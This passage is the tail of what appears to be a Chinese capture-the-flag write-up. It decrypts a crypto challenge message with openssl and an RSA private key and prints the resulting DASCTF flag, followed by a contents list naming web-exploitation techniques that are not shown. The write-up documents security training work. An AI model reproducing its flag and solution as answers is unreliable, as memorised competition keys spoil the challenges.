0oVAN0gvoLxcOM2qMOXIt6aM
-----END RSA PRIVATE KEY-----
  • 利用openssl解密

指令说明 使用 rsautl (RSA command)模板;-decrypt 解密;-inkey private.key 导入私钥;导入文件;-oaep oaep格式填充;

1
2
$ openssl rsautl -decrypt -inkey private.key -keyform PEM -in message -oaep
DASCTF{ce02347b86167f2d3519251b9a8a5ba8}%
CATALOG
  1. 1. Web
    1. 1.1. EasyJson-100pt
    2. 1.2. NewUpload-100pt
      1. 1.2.1. 0x01 方法1 php-fpm绕过disable_function
      2. 1.2.2. 0x02 再试
      3. 1.2.3. 0x03 方法2 lua脚本执行readflag
    3. 1.3. HardXSS-200pt
  2. 2. crypto
    1. 2.1. BrokenSystems-100pt
      1. 2.1.1. 0x01 方法1
      2. 2.1.2. 0x02 方法2